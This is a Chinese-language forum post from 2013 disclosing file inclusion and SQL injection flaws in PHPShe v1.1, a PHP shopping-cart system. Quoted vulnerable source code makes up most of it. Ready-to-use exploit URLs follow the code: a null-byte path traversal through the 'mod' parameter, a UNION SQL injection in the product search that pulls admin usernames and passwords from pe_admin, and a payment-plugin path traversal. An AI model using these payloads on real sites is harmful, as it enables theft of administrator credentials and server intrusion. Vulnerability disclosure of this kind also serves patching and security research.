phpshe v1.1 多处文件包含与SQL注射漏洞等

2013-04-12 13:24:20 6 1776
/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*========================
/*******************************************************/
/* 90sec team
/*******************************************************/
很简单很明了

0x00 整体大概参数传输
//common.php
if (get_magic_quotes_gpc()) {
        !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
        !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
        !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
        !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
0x01 包含漏洞
//首页文件

<?php
include('common.php');

$cache_category = cache::get('category');
$cache_category_arr = cache::get('category_arr');
$cache_class = cache::get('class');

$cache_ad = cache::get('ad');
$cache_link = cache::get('link');
$cache_page = cache::get('page');
$web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array();

$cart_num = pe_login('user') ? $db->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);

include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>


//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);

//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
0x02 搜索注入
//product.php文件

case 'list':
                $category_id = intval($id);
                $info = $db->pe_select('category', array('category_id'=>$category_id));
                //搜索
                $sqlwhere = " and `product_state` = 1";
                pe_lead('hook/category.hook.php');
                if ($category_id) {
                        $sqlwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
                }

                $_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
                if ($_g_orderby) {
                        $orderby = explode('_', $_g_orderby);
                        $sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
                }
                else {
                        $sqlwhere .= " order by `product_id` desc";
                }
                $info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
                //热卖排行
                $product_hotlist = product_hotlist();
                //当前路径
                $nowpath = category_path($category_id);

                $seo = pe_seo($info['category_name']);
                include(pe_tpl('product_list.html'));
               
               
//跟进selectall函数库

        public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
        {
                //处理条件语句
                $sqlwhere = $this->_dowhere($where);
                return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
        }
       
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
0x03 包含漏洞2
//order.php
case 'pay':
                $order_id = pe_dbhold($_g_id);
                $cache_payway = cache::get('payway');
                foreach($cache_payway as $k => $v) {
                        $cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
                        if ($k == 'bank') {
                                $cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
                        }
                }
                $order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
                !$order['order_id'] && pe_error('订单号错误...');
                if (isset($_p_pesubmit)) {
                        if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
                                $info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
                                foreach ($info_list as $v) {
                                        $order['order_name'] .= "{$v['product_name']};";                       
                                }
                                echo '正在为您连接支付网站,请稍后...';
                                include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
                        }//当一切准备好的时候就可以进行"鸡肋包含了"
                        else {
                                pe_error('支付错误...');
                        }
                }
                $seo = pe_seo('选择支付方式');
                include(pe_tpl('order_pay.html'));
        break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98

关于作者

评论6次

要评论?请先  登录  或  注册